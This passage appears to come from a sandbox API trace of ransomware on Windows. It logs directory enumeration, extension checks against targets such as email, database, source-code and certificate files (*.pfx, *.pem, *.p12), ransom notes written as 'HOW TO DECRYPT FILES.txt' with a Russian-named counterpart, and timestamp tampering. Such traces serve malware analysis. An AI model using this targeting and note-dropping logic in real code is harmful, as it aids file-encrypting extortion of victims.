(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.eml") returned 0 [0123.163] lstrlenA (lpString="*.eml") returned 5 [0123.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.msg") returned 0 [0123.163] lstrlenA (lpString="*.msg") returned 5 [0123.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.edb") returned 0 [0123.163] lstrlenA (lpString="*.edb") returned 5 [0123.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.accdb") returned 0 [0123.163] lstrlenA (lpString="*.accdb") returned 7 [0123.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.odb") returned 0 [0123.163] lstrlenA (lpString="*.odb") returned 5 [0123.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.java") returned 0 [0123.163] lstrlenA (lpString="*.java") returned 6 [0123.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.asm") returned 0 [0123.164] lstrlenA (lpString="*.asm") returned 5 [0123.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.pfx") returned 0 [0123.164] lstrlenA (lpString="*.pfx") returned 5 [0123.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.pem") returned 0 [0123.164] lstrlenA (lpString="*.pem") returned 5 [0123.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.p12") returned 0 [0123.165] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf80baf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaf80baf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaf831c50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x76c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0123.165] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.165] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Extensions.Design.ni.dll.aux") returned -1 [0123.165] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Extensions.Design.ni.dll.aux") returned -1 [0123.165] lstrcmpiA (lpString1="", lpString2="System.Web.Extensions.Design.ni.dll.aux") returned -1 [0123.165] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll") returned="System.Web.Extensions.Design.ni.dll" [0123.165] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\" [0123.165] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\") returned="" [0123.165] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\HOW TO DECRYPT FILES.txt" [0123.165] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\how to decrypt files.txt")) returned 0x20 [0123.165] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\", lpString2="System.Web.Extensions.Design.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll.aux" [0123.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll.aux", pszSpec="*.ems") returned 0 [0123.166] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf80baf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaf80baf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaf831c50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x76c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0123.166] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0123.166] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf80baf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaf831c50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaf831c50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f5de19da6cf7019e7fee25faf0b9b7df", cAlternateFileName="F5DE19~1")) returned 0 [0123.166] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0123.166] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae892bf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae892bf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae892bf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.Entity", cAlternateFileName="SYSTEM~3.ENT")) returned 1 [0123.166] lstrcmpA (lpString1=".", lpString2="System.Web.Entity") returned -1 [0123.166] lstrcmpA (lpString1="..", lpString2="System.Web.Entity") returned -1 [0123.166] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0123.166] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Web.Entity" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity" [0123.166] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae892bf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae892bf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae892bf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0123.169] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.169] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae892bf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae892bf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae892bf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.169] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.170] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.170] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae892bf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae892bf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae892bf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="7daf7302e1e4f4ea64ae78ffbde6ecf6", cAlternateFileName="7DAF73~1")) returned 1 [0123.170] lstrcmpA (lpString1=".", lpString2="7daf7302e1e4f4ea64ae78ffbde6ecf6") returned -1 [0123.170] lstrcmpA (lpString1="..", lpString2="7daf7302e1e4f4ea64ae78ffbde6ecf6") returned -1 [0123.170] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\*.*") returned="*.*" [0123.170] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\", lpString2="7daf7302e1e4f4ea64ae78ffbde6ecf6" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6" [0123.170] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae892bf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae892bf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae892bf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0123.170] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.170] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae892bf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae892bf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae892bf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.170] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.170] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.170] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae86ca90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae86ca90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae892bf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x6ce00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Entity.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0123.171] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.171] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Entity.ni.dll") returned -1 [0123.171] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Entity.ni.dll") returned -1 [0123.171] lstrcmpiA (lpString1="", lpString2="System.Web.Entity.ni.dll") returned -1 [0123.171] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\*.*") returned="*.*" [0123.171] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\" [0123.171] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\") returned="" [0123.171] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\HOW TO DECRYPT FILES.txt" [0123.171] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\how to decrypt files.txt")) returned 0xffffffff [0123.171] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0123.357] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0123.357] CloseHandle (hObject=0x90) returned 1 [0123.357] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\", lpString2="System.Web.Entity.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\System.Web.Entity.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\System.Web.Entity.ni.dll" [0123.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\System.Web.Entity.ni.dll", pszSpec="*.ems") returned 0 [0123.358] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae892bf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae892bf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae892bf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x69c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0123.358] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.358] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Entity.ni.dll.aux") returned -1 [0123.358] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Entity.ni.dll.aux") returned -1 [0123.358] lstrcmpiA (lpString1="", lpString2="System.Web.Entity.ni.dll.aux") returned -1 [0123.358] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\System.Web.Entity.ni.dll") returned="System.Web.Entity.ni.dll" [0123.358] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\" [0123.358] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\") returned="" [0123.358] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\HOW TO DECRYPT FILES.txt" [0123.358] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\how to decrypt files.txt")) returned 0x20 [0123.358] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\", lpString2="System.Web.Entity.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\System.Web.Entity.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\System.Web.Entity.ni.dll.aux" [0123.358] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\System.Web.Entity.ni.dll.aux", pszSpec="*.ems") returned 0 [0123.359] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae892bf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae892bf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae892bf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x69c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0123.359] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0123.359] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae892bf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae892bf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae892bf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="7daf7302e1e4f4ea64ae78ffbde6ecf6", cAlternateFileName="7DAF73~1")) returned 0 [0123.359] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0123.359] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb06ec470, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb06ec470, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb06ec470, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.Mobile", cAlternateFileName="SYSTEM~1.MOB")) returned 1 [0123.359] lstrcmpA (lpString1=".", lpString2="System.Web.Mobile") returned -1 [0123.359] lstrcmpA (lpString1="..", lpString2="System.Web.Mobile") returned -1 [0123.359] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0123.359] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Web.Mobile" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile" [0123.359] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb06ec470, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb06ec470, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb06ec470, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0123.361] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.361] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb06ec470, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb06ec470, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb06ec470, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.361] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.361] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.361] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb06ec470, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb06ec470, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb06ec470, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b1c3497a70080378a9e9cde62b3420cd", cAlternateFileName="B1C349~1")) returned 1 [0123.361] lstrcmpA (lpString1=".", lpString2="b1c3497a70080378a9e9cde62b3420cd") returned -1 [0123.361] lstrcmpA (lpString1="..", lpString2="b1c3497a70080378a9e9cde62b3420cd") returned -1 [0123.361] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\*.*") returned="*.*" [0123.361] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\", lpString2="b1c3497a70080378a9e9cde62b3420cd" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd" [0123.361] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\*.*", lpFindFileData=0x18f7a8 